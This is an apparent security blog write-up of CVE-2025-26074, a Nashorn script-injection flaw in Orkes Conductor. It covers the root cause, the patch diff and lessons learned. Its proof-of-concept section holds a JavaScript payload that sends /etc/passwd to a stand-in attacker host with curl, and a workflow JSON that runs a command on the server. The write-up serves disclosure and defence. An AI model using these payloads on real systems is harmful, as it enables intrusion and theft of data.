CVE-2025-26074: Critical RCE in Orkes Conductor via Java Class Injection

Here we go again. Another Tuesday, another critical vulnerability. But this one is special. It’s a classic tale of a powerful feature, a missing safety switch, and the chaos that ensues. Today, we're putting Orkes Conductor under the microscope to dissect CVE-2025-26074, a vulnerability that lets an attacker turn this workflow orchestrator into a puppet for executing arbitrary commands. Grab your coffee, and let's dive in.

TL;DR / Executive Summary

  • Vulnerability: OS Command Injection via Unrestricted Java Class Access.
  • CVE ID: CVE-2025-26074
  • Affected Software: Orkes Conductor versions prior to 3.21.13.
  • Severity: Critical (CVSS 9.8) - Remote Code Execution (RCE).
  • Impact: An attacker with permissions to define or modify workflows can execute arbitrary commands on the underlying server, leading to a full system compromise.
  • Root Cause: The embedded Nashorn JavaScript engine was initialized without security restrictions, allowing user-provided scripts to access and execute arbitrary Java classes, including java.lang.Runtime.
  • Mitigation: Upgrade immediately to Conductor version 3.21.13 or later. This version correctly sandboxes the script engine by disabling Java class access.

Introduction: The Rogue Conductor

Imagine an orchestra. The conductor stands at the front, a master of coordination, ensuring every instrument plays its part at the perfect moment to create a beautiful symphony. This is what Orkes Conductor does for microservices and distributed systems—it orchestrates complex workflows, making sure every task runs in the right order.

Now, what if a mischievous audience member could slip a note into the conductor's sheet music that says, "At the crescendo, have the entire brass section play 'Baby Shark' on vuvuzelas"? The symphony would descend into chaos.

This is precisely the scenario with CVE-2025-26074. Conductor uses a JavaScript engine called Nashorn to allow for dynamic, scriptable tasks within its workflows. It's a powerful feature. But due to a configuration oversight, this engine was given a "master key" to the entire Java Virtual Machine (JVM) it runs in. An attacker could craft a malicious workflow that, instead of performing a business task, tells the server to execute system commands. This turns your trusted orchestrator into an insider threat, conducting a symphony of destruction from within your own infrastructure.

Technical Deep Dive: When JavaScript Learns to Speak Java

To understand the vulnerability, we need to look at how Conductor uses the Nashorn engine. Nashorn, a JavaScript engine developed by Oracle and included in Java 8-10 (and available as a separate library for later versions), has a powerful and dangerous feature: by default, it allows JavaScript code to interact directly with Java APIs.

Root Cause Analysis

The vulnerability lies in how the Nashorn ScriptEngine was initialized. In the vulnerable versions of Conductor, the code responsible for setting up the engine looked something like this:

// File: core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java (Simplified from vulnerable version)

// ...
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
// ...

public class ScriptEvaluator {
    private static ScriptEngine engine;

    public static void initEngine(boolean reInit) {
        if (engine == null || reInit) {
            // The vulnerable line: No restrictions are applied!
            engine = new ScriptEngineManager().getEngineByName("Nashorn");
        }
        // ...
    }
}

The line new ScriptEngineManager().getEngineByName("Nashorn") creates a new Nashorn instance with all its default settings enabled. This includes the ability for a script to call Java.type() to get a reference to any Java class on the classpath and then instantiate it or call its static methods.

Think of it like hiring a contractor to work in a specific room of your house but forgetting to lock the other doors. You expect them to stay in the guest room, but they find the master key on the table and suddenly have access to your office, your safe, and the garage.

The Attack Vector

An attacker who can define a Conductor workflow (a common permission for developers using the platform) can exploit this. They would create a workflow containing a task that uses a JavaScript expression. This expression wouldn't calculate a number or process a string; it would use Nashorn's Java interoperability to break out of the script and into the host operating system.

The attack path is straightforward:

  1. JavaScript Payload: The script uses Java.type('java.lang.Runtime') to get the Java Runtime class.
  2. Get Runtime Instance: It calls getRuntime() to get the current runtime instance.
  3. Execute Command: It calls the .exec() method on the runtime object, passing a string containing the desired OS command (e.g., curl, wget, whoami).

The business impact is catastrophic. The Conductor server is often a highly privileged, central component. Gaining RCE on it gives an attacker a launchpad for lateral movement, data exfiltration, ransomware deployment, or complete disruption of all orchestrated business processes.

Proof of Concept: Making the Server Dance

Let's demonstrate this with a simplified, theoretical Proof of Concept (PoC).

Disclaimer: This is for educational purposes only. Do not run malicious payloads against systems you do not own.

An attacker would first craft a malicious JavaScript payload.

The Malicious Script:

// pwn.js - A script designed to be embedded in a Conductor workflow
(function() {
    // Use Nashorn's Java.type to access the Java ProcessBuilder class
    var ProcessBuilder = Java.type("java.lang.ProcessBuilder");

    // Create a new process to run a command, e.g., exfiltrate /etc/passwd
    // In a real attack, this would be a reverse shell or data exfil command.
    var p = new ProcessBuilder("curl", "http://attacker.com/exfil", "-d", "@/etc/passwd").start();

    // You can also use the simpler but less flexible Runtime.exec()
    // java.lang.Runtime.getRuntime().exec("touch /tmp/pwned_by_cve_2025_26074");

    return "Check your attacker server logs!";
})();

Next, the attacker would embed this logic into a Conductor workflow definition JSON and submit it via the API.

Example Workflow Task:

{
  "name": "malicious_task",
  "taskReferenceName": "exploit_task_ref",
  "type": "SIMPLE",
  "inputParameters": {
    "script": "var ProcessBuilder = Java.type('java.lang.ProcessBuilder'); new ProcessBuilder('touch', '/tmp/pwned').start();"
  }
  // ... other workflow definitions
}

When Conductor executes this workflow, the script parameter is evaluated by the unrestricted Nashorn engine. The Java code is executed with the permissions of the Conductor server's user account, creating the file /tmp/pwned on the server and proving the RCE.

Mitigation and Remediation: Locking the Door

Fortunately, the fix is simple and effective.

Immediate Action:
Upgrade your Orkes Conductor instances to version 3.21.13 or newer immediately.

Patch Analysis: The --no-java Silver Bullet

The developers of Conductor fixed this vulnerability by adding a single, crucial argument when initializing the Nashorn engine: --no-java.

Let's look at the code change from the patch:

--- a/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java
+++ b/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java
@@ -14,11 +14,11 @@
 
 import javax.script.Bindings;
 import javax.script.ScriptEngine;
-import javax.script.ScriptEngineManager;
 import javax.script.ScriptException;
 
 import org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory;
 //...
     public static void initEngine(boolean reInit) {
         if (engine == null || reInit) {
+            NashornScriptEngineFactory factory = new NashornScriptEngineFactory();
             if ("true".equalsIgnoreCase(getEnv("CONDUCTOR_NASHORN_ES6_ENABLED"))) {
-                NashornScriptEngineFactory factory = new NashornScriptEngineFactory();
-                engine = factory.getScriptEngine("--language=es6");
+                engine = factory.getScriptEngine("--language=es6", "--no-java");
             } else {
-                engine = new ScriptEngineManager().getEngineByName("Nashorn");
+                engine = factory.getScriptEngine("--no-java");
             }
         }
 //...

The change is subtle but powerful. Instead of using the generic ScriptEngineManager, the code now uses NashornScriptEngineFactory. This factory allows passing command-line arguments to the engine during initialization.

The --no-java flag explicitly disables the feature that allows JavaScript to access Java classes. When Nashorn is started with this flag, any attempt to use Java.type() or access Java packages will throw an error. The "master key" is taken away, and the script is confined to its JavaScript sandbox, just as it should be.

Verification:
After upgrading, you can verify the fix by attempting to run a benign Java-accessing script in a test workflow, such as Java.type('java.lang.System').getProperty('java.version'). On a patched system, this will fail with a ScriptException.

Timeline

  • Discovery Date: Undisclosed
  • Vendor Notification: Undisclosed
  • Patch Availability: June 2024 (in release v3.21.13)
  • Public Disclosure (CVE): June 30, 2025

Lessons Learned

This CVE is a textbook example of a common security pitfall. Here are the key takeaways:

  1. Principle of Least Privilege for Features: Powerful features require powerful constraints. If you embed a scripting engine, compiler, or any other dynamic execution environment, assume its input is hostile. Always seek out and enable sandboxing, security managers, or restricted modes. The most secure feature is the one that has just enough power to do its job, and no more.
  2. Defense in Depth for Detection: Even with preventative controls, you should have detection mechanisms. Monitor for anomalous process execution from your application servers. A Java process spawning curl or bash is highly suspicious and should trigger an immediate alert. EDR and SIEM rules are your friends here.
  3. The One Key Takeaway: Defaults matter. The default configuration for Nashorn was "insecure" in this context. Security-conscious engineering involves questioning defaults and making explicit choices to harden systems, rather than assuming the out-of-the-box settings are safe.

This vulnerability wasn't a complex cryptographic flaw or a memory corruption bug. It was a simple, overlooked configuration. It serves as a humble reminder that sometimes, the biggest security holes are the ones hiding in plain sight.

So, go check your own applications. Are you using any embedded scripting engines? And more importantly, did you remember to lock all the doors?


References and Further Reading

Read more